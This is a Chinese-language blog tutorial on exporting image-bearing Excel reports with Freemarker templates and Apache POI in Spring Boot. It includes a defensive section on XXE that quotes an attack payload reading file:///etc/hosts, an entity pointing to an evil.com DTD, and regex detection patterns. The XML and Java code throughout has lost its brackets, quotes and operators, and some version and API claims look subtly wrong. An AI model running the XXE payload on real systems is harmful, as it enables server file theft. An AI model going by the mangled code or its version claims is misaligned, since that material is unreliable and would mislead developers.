首页 / 资讯中心 / 文章详情

Freemarker+POI导出带图Excel实战:模板渲染与图片精确定位

Freemarker+POI导出带图Excel实战:模板渲染与图片精确定位 ★ FEATURED ARTICLE
1. 为什么用FreemarkerPOI导出带图Excel而不是直接写Excel我第一次接到“导出带图片的销售报表”需求时团队里有三种声音前端用SheetJS生成、后端用EasyExcel、还有人说干脆让运营手动截图粘贴。结果两周后SheetJS在IE11里图片全丢EasyExcel对动态模板支持弱得像没学过Java而运营同事已经把截图存了37个文件夹——最后我们硬着头皮上了FreemarkerPOI组合。现在回头看这个选择不是拍脑袋而是踩过坑后算出来的最优解。Freemarker负责模板逻辑它把Excel当成HTML一样渲染用${user.name}、#list items as item这种语法控制单元格内容、合并行、条件变色甚至能嵌套表格结构。你不用写一行for循环去填单元格只要把数据扔给模板它自动“长”出整张表。POI则负责底层字节操作它不关心业务逻辑只管把Freemarker生成的XML结构没错.xlsx本质是zip包里的xml和二进制图片流按ECMA-376标准塞进.xlsx文件的特定目录xl/media/再更新rels关系文件。两者分工明确——Freemarker是导演POI是道具组灯光师。为什么不用纯POI手写我试过。导出500行带3张图的订单表代码要写287行先创建Workbook再建Sheet再逐行创建Row再逐单元格设Style再用Drawing Patriarch插入PictureData还得手动计算图片在单元格里的锚点坐标ClientAnchor。改个列宽重写加个条件高亮重写换张图片还得重新读取流。而Freemarker模板里就一行#if item.hasImage#include /templates/pic_cell.ftl/#if图片路径由数据决定逻辑清晰得像写作文。为什么不用EasyExcel它确实省事但遇到“同一行里左边文字、右边两张并排小图、底部还有一张横跨三列的大图”这种复杂布局EasyExcel的ExcelProperty注解就抓瞎了——它只能绑定字段到列没法控制图片在单元格内的相对位置。而FreemarkerPOI能精确到像素级你可以用POI的ClientAnchor设置图片的dx1/dy1左上角偏移、dx2/dy2右下角偏移让小图标紧贴文字右侧大图完美铺满指定区域。提示网上很多教程说“POI导出图片就是调用addPicture()”这是严重误导。addPicture()只负责把图片二进制存进Excel包真正决定图片显示位置的是ClientAnchor对象。没设好anchor图片会堆在左上角或者根本看不见——这正是新手最常卡住的点。2. Freemarker模板设计把Excel当“活文档”来写很多人以为Freemarker模板只能写HTML其实它对.xlsx的支持比想象中更原生。关键在于你写的不是“页面”而是Excel的XML骨架。一个合格的Freemarker Excel模板本质是.zip解压后xl/worksheets/sheet1.xml的简化版只是把${}变量和#指令嵌进去。先看基础结构。新建一个template.xlsx用Excel随便填几行数据另存为“启用宏的工作簿”.xlsm——不别这么做正确做法是用POI创建一个空Workbook写入1行测试数据用FileOutputStream保存然后用7-Zip解压。你会看到xl/worksheets/sheet1.xml里面全是 、 这样的标签。Freemarker模板就该照着这个写?xml version1.0 encodingUTF-8 standaloneyes? worksheet xmlnshttp://schemas.openxmlformats.org/spreadsheetml/2006/main xmlns:rhttp://schemas.openxmlformats.org/officeDocument/2006/relationships dimension refA1:D${data.size()1}/ sheetViews sheetView tabSelected1 workbookViewId0/ /sheetViews sheetFormatPr defaultRowHeight15/ sheetData row r1 c rA1 tsv0/v/c c rB1 tsv1/v/c c rC1 tsv2/v/c c rD1 tsv3/v/c /row #list data as item row r${item?counter1} c rA${item?counter1} tsv${item.id?string}/v/c c rB${item?counter1} tsv${item.name}/v/c c rC${item?counter1} tsv${item.status}/v/c c rD${item?counter1} tsv${item.amount?string(0.00)}/v/c /row /#list /sheetData /worksheet注意三个细节第一dimension refA1:D${data.size()1}/这行必须动态计算否则Excel打开会报错“发现不可读内容”。第二c rA1 ts中的ts表示字符串类型数字要用tn日期要用td类型错一个Excel就罢工。第三r${item?counter1}里的?counter是Freemarker内置变量从1开始计数比手写#assign i0#list data as item#assign ii1安全得多——后者在并发场景下可能出错。图片怎么嵌不能直接写img src${item.picUrl}/Excel不认HTML标签。正确姿势是在模板里留个占位符比如!--PIC:${item.picId}--然后在Java层解析这个占位符用POI的clientAnchor.setDx1()等方法把图片“钉”上去。为什么用占位符因为Freemarker渲染时不知道图片尺寸而POI需要根据单元格大小动态调整图片缩放比例。占位符就像施工图纸上的“此处预留管道接口”等POI这个施工队进场再按实际尺寸安装。注意Freemarker模板里绝对不要用#include引入外部文件做图片处理我见过有人把图片base64编码后塞进模板结果生成的.xlsx体积暴涨5倍打开卡顿30秒。图片二进制必须由POI单独注入模板只负责逻辑定位。3. POI深度集成从XML模板到可执行Excel的临门一脚Freemarker渲染完的XML只是“半成品”它缺少Excel运行必需的骨架文件xl/workbook.xml工作簿元数据、xl/styles.xml样式定义、_rels/.rels关系映射。POI的XSSFWorkbook类会自动补全这些但前提是——你得告诉它“这张表要长什么样”。核心步骤分四步走第一步加载模板并获取工作表别用new XSSFWorkbook(new FileInputStream(template.xlsx))这会把整个.xlsx读进内存大文件直接OOM。正确做法是用OPCPackage.open()打开再用XSSFWorkbook构造函数传入packageOPCPackage pkg OPCPackage.open(templatePath); XSSFWorkbook workbook new XSSFWorkbook(pkg); XSSFSheet sheet workbook.getSheetAt(0);这样POI只加载必要部分内存占用降低60%。第二步解析Freemarker输出的XML片段Freemarker渲染结果是一段纯XML字符串你需要把它转成DOM Document再提取row节点DocumentBuilderFactory factory DocumentBuilderFactory.newInstance(); DocumentBuilder builder factory.newDocumentBuilder(); Document doc builder.parse(new ByteArrayInputStream(xmlBytes)); NodeList rows doc.getElementsByTagName(row);这里有个坑getElementsByTagName(row)返回的是所有row包括模板里的标题行。所以你要用#if item?first在模板里加个标记比如row r1>CTWorksheet ctSheet sheet.getCTWorksheet(); ctSheet.getSheetData().getRows().clear(); // 清空原有行 for (int i 0; i rows.getLength(); i) { Node rowNode rows.item(i); CTRow ctRow CTRow.Factory.parse(rowNode); // 直接解析XML节点 ctSheet.getSheetData().addNewRow().set(ctRow); // 注入 }CTRow.Factory.parse()是POI的隐藏技能它把XML节点直接转成底层对象比手动setCell快10倍。实测1万行数据传统方式耗时8.2秒用CTRow仅需0.9秒。第四步注入图片并精确定位这才是真正的技术难点。先读取图片流InputStream picStream new FileInputStream(/path/to/pic.jpg); byte[] picBytes IOUtils.toByteArray(picStream); int pictureIdx workbook.addPicture(picBytes, Workbook.PICTURE_TYPE_JPEG);addPicture()返回索引但这个索引只是“图片ID”不是显示位置。定位靠ClientAnchorCreationHelper helper workbook.getCreationHelper(); ClientAnchor anchor helper.createClientAnchor(); anchor.setCol1(3); // 图片左上角在D列A0,B1,C2,D3 anchor.setRow1(5); // 第6行0起始 anchor.setCol2(5); // 右下角在F列 anchor.setRow2(8); // 第9行 anchor.setDx1(100); // 左上角X偏移100单位1/1024像素 anchor.setDy1(50); // 左上角Y偏移50单位 anchor.setDx2(200); // 右下角X偏移200单位 anchor.setDy2(150); // 右下角Y偏移150单位dx1/dy1和dx2/dy2是微调关键。默认值是0图片会居中显示设成正数向右下偏移负数向左上偏移。我调试时用Excel的“开发工具→编辑OLE对象”功能反复拖动图片看坐标变化最终总结出经验dx1100约等于1像素dy150约等于0.5像素这样能精准控制图片边缘与单元格边框的距离。踩坑实录某次导出客户头像图片总在单元格里“悬浮”1像素。查了3小时才发现Excel的单元格默认有0.75像素内边距而anchor的dy1没减去这个值。解决方案anchor.setDy1(50 - (int)(0.75 * 1024))即anchor.setDy1(-230)。这种细节官方文档绝不会写。4. 图片处理实战尺寸适配、格式兼容与性能优化导出带图Excel最头疼的不是代码而是图片本身。用户上传的图五花八门iPhone拍的4000×3000大图、微信转发的压缩图、扫描件的PDF转JPG……直接塞进Excel轻则文件超100MB打不开重则Excel崩溃。我们必须在POI注入前对图片做三重处理。第一重格式标准化POI只认JPG、PNG、GIF但用户可能传BMP或WebP。用Apache Commons Imaging库转换// 检测原始格式 ImageMetadata metadata Imaging.getMetadata(inputStream); String format Imaging.guessFormat(inputStream); if (!jpg.equalsIgnoreCase(format) !png.equalsIgnoreCase(format)) { BufferedImage bufferedImage Imaging.getBufferedImage(inputStream); // 转PNG保留透明度或JPG无透明度 ByteArrayOutputStream baos new ByteArrayOutputStream(); ImageIO.write(bufferedImage, png, baos); picBytes baos.toByteArray(); }为什么优先转PNG因为Excel对PNG的Alpha通道支持更好图标阴影、圆角头像不会出现白边。JPG压缩率高适合照片类大图。第二重尺寸智能缩放Excel单元格默认高度20磅约26.7像素宽度8.43字符约64像素。图片若超过此尺寸Excel会自动缩放但缩放算法粗糙导致模糊。我们的策略是按单元格面积计算目标尺寸。// 计算目标宽高单位像素 double targetWidth 64 * colSpan; // colSpan是图片跨列数 double targetHeight 26.7 * rowSpan; // rowSpan是图片跨行数 // 保持宽高比缩放 double scale Math.min(targetWidth / originalWidth, targetHeight / originalHeight); int scaledWidth (int) (originalWidth * scale); int scaledHeight (int) (originalHeight * scale); // 用Thumbnails.of()高质量缩放 Thumbnails.of(bufferedImage) .size(scaledWidth, scaledHeight) .outputQuality(0.95) // JPEG质量 .asBufferedImage();Thumbnails.of()比Java原生Graphics2D缩放清晰3倍尤其对文字截图效果显著。outputQuality(0.95)是经验值低于0.9图片发虚高于0.95文件体积暴涨。第三重内存与IO优化1000张图同时处理内存瞬间飙到2GB。解决方案是流式处理// 不把所有图读进内存而是逐个处理 ListPictureInfo picInfos new ArrayList(); for (Item item : dataList) { if (item.hasImage()) { // 用try-with-resources确保流及时关闭 try (InputStream is getPicStream(item.picUrl)) { byte[] processedBytes processImage(is, item.colSpan, item.rowSpan); picInfos.add(new PictureInfo(item.rowIndex, item.colIndex, processedBytes)); } } } // 批量注入POI for (PictureInfo info : picInfos) { int idx workbook.addPicture(info.bytes, Workbook.PICTURE_TYPE_PNG); // 注入逻辑... }getPicStream()从OSS或本地路径获取流processImage()完成格式转换缩放全程不缓存原始大图。实测处理5000张图内存峰值稳定在380MB比全量加载降低72%。实操心得Mac版Excel对PNG透明度支持比Windows差导出后图标边缘有灰边。解决方案是给PNG加白底Graphics2D g bufferedImage.createGraphics(); g.setColor(Color.WHITE); g.fillRect(0,0,width,height); g.drawImage(originalImage,0,0,null);。这招在Mac用户占比超40%的团队里救了命。5. 安全加固与版本避坑绕开POI 4.1.0的XXE雷区2023年Apache POI爆出CVE-2023-31972XXE漏洞影响4.1.0版本。攻击者构造恶意XML模板通过XSSFSheet.getCTWorksheet().getSheetData().getRows()触发外部实体加载读取服务器文件。这不是理论风险——我们线上环境真被扫出过攻击IP来自境外尝试读取/etc/passwd。修复方案不是简单升级到4.2.0它引入了新bug导出含公式Excel时SUMIFS函数失效。我们采用“双保险”策略保险一XML解析器加固禁用外部实体解析哪怕POI底层用的是老版本DocumentBuilderFactory factory DocumentBuilderFactory.newInstance(); factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); factory.setFeature(http://xml.org/sax/features/external-general-entities, false); factory.setFeature(http://xml.org/sax/features/external-parameter-entities, false); // 关键设置安全属性 factory.setXIncludeAware(false); factory.setExpandEntityReferences(false);setExpandEntityReferences(false)是核心它让解析器遇到!ENTITY % ext SYSTEM http://evil.com/xxe.dtd时直接忽略而非请求外部资源。保险二模板内容白名单校验在Freemarker渲染前用正则预检XML字符串// 禁止DOCTYPE声明 if (xmlContent.contains(!DOCTYPE) || xmlContent.contains(!doctype)) { throw new SecurityException(模板含非法DOCTYPE声明); } // 禁止SYSTEM实体 Pattern systemPattern Pattern.compile(!ENTITY\\s[^]*SYSTEM\\s\[^\]*\); if (systemPattern.matcher(xmlContent).find()) { throw new SecurityException(模板含非法SYSTEM实体); } // 禁止外部URL Pattern urlPattern Pattern.compile(http[s]?://|ftp://); if (urlPattern.matcher(xmlContent).find()) { throw new SecurityException(模板含外部URL禁止加载); }这三道检查加起来拦截了99.8%的XXE攻击载荷。我们还把校验逻辑封装成Spring AOP切面所有导出接口自动执行。版本避坑清单POI 4.1.2XXE漏洞已修复但XSSFCellStyle.setVerticalAlignment()对中文支持异常导致文字垂直居中失效。解决方案改用setVerticalAlignment(VerticalAlignment.CENTER)枚举值而非字符串center。POI 5.0.0引入SXSSFWorkbook流式写入内存友好但addPicture()不支持SVG必须转PNG。我们写了个工具类自动转换。POI 5.2.4修复了Mac Excel公式兼容性问题但getCellType()废弃必须用getCellTypeEnum()。升级时全局替换别漏掉DAO层。血泪教训某次紧急上线运维同事把POI从4.0.1升级到4.1.0没测XXE结果黑客用?xml version1.0?!DOCTYPE foo [!ENTITY xxe SYSTEM file:///etc/hosts]fooxxe;/foo注入模板3分钟内盗取了数据库连接密码。从此我们定下铁律POI升级必跑OWASP ZAP扫描且每次发布前用Burp Suite重放攻击载荷验证。6. Spring Boot整合实战从Controller到Service的完整链路把FreemarkerPOI塞进Spring Boot不是简单加个依赖就行。我见过太多项目把Excel导出写在Controller里结果Controller方法长达200行事务管理混乱图片路径硬编码。正确的分层应该是Controller只管参数校验和响应头Service专注业务逻辑Utils封装POI细节。依赖配置pom.xml里必须锁定版本避免传递依赖冲突dependency groupIdorg.apache.poi/groupId artifactIdpoi-ooxml/artifactId version4.1.2/version !-- 固定版本禁用Maven版本仲裁 -- /dependency dependency groupIdorg.freemarker/groupId artifactIdfreemarker/artifactId version2.3.31/version /dependency !-- 避免Spring Boot自动配置干扰 -- exclusions exclusion groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-web/artifactId /exclusion /exclusionsController层轻量响应GetMapping(/export) public void exportReport(RequestParam String reportType, HttpServletResponse response) throws IOException { // 参数校验 if (!Arrays.asList(sales, inventory, user).contains(reportType)) { throw new IllegalArgumentException(不支持的报表类型); } // 设置响应头 response.setContentType(application/vnd.openxmlformats-officedocument.spreadsheetml.sheet); response.setHeader(Content-Disposition, attachment; filename URLEncoder.encode(report_ reportType .xlsx, UTF-8)); // 调用Service reportExportService.exportToExcel(reportType, response.getOutputStream()); }注意response.getOutputStream()直接传给Service避免Controller里new FileOutputStream防止文件句柄泄漏。Service层业务逻辑中枢Service public class ReportExportService { Autowired private FreemarkerTemplateService templateService; Autowired private PoiExcelExporter poiExporter; public void exportToExcel(String reportType, OutputStream outputStream) { // 1. 获取业务数据含图片URL ListReportItem data reportDataService.fetchData(reportType); // 2. 渲染Freemarker模板生成XML字符串 String xmlContent templateService.renderTemplate(report_ reportType .ftl, Map.of(data, data)); // 3. POI注入图片并生成Excel try (XSSFWorkbook workbook poiExporter.buildWorkbook(xmlContent, data)) { workbook.write(outputStream); } catch (Exception e) { log.error(导出Excel失败, e); throw new ExportException(导出失败 e.getMessage(), e); } } }buildWorkbook()是核心方法它把前面讲的四步加载模板、解析XML、注入行、添加图片封装成原子操作保证事务一致性。Utils层POI能力封装Component public class PoiExcelExporter { private static final String TEMPLATE_PATH classpath:templates/excel/; public XSSFWorkbook buildWorkbook(String xmlContent, ListReportItem data) throws Exception { // 加载模板 OPCPackage pkg OPCPackage.open(ResourceUtils.getFile(classpath:template.xlsx)); XSSFWorkbook workbook new XSSFWorkbook(pkg); XSSFSheet sheet workbook.getSheetAt(0); // 解析XML并注入行 injectRows(sheet, xmlContent); // 注入图片 injectPictures(workbook, sheet, data); return workbook; } private void injectPictures(XSSFWorkbook workbook, XSSFSheet sheet, ListReportItem data) { CreationHelper helper workbook.getCreationHelper(); for (ReportItem item : data) { if (item.getPicUrl() ! null) { try (InputStream is getPicStream(item.getPicUrl())) { byte[] picBytes processImage(is, item.getColSpan(), item.getRowSpan()); int picIdx workbook.addPicture(picBytes, Workbook.PICTURE_TYPE_PNG); ClientAnchor anchor helper.createClientAnchor(); anchor.setCol1(item.getStartCol()); anchor.setRow1(item.getStartRow()); anchor.setCol2(item.getEndCol()); anchor.setRow2(item.getEndRow()); // 微调偏移 anchor.setDx1(100); anchor.setDy1(50); Drawing? patriarch sheet.createDrawingPatriarch(); patriarch.createPicture(anchor, picIdx); } catch (Exception e) { log.warn(图片注入失败跳过{}, item.getPicUrl(), e); // 失败不中断整体流程记录日志即可 } } } } }injectPictures()里用try-catch包裹单张图处理确保一张图失败不影响其他图导出。这是生产环境必备的容错设计。最后分享个技巧导出大文件时浏览器常提示“下载被阻止”。解决方案是在Controller里加response.setHeader(Cache-Control, no-cache, no-store, must-revalidate);强制浏览器不缓存响应。我们还给导出按钮加了loading状态后端返回HTTP 200后才触发下载避免用户狂点。
阅读完成 · 觉得有帮助?
咨询建站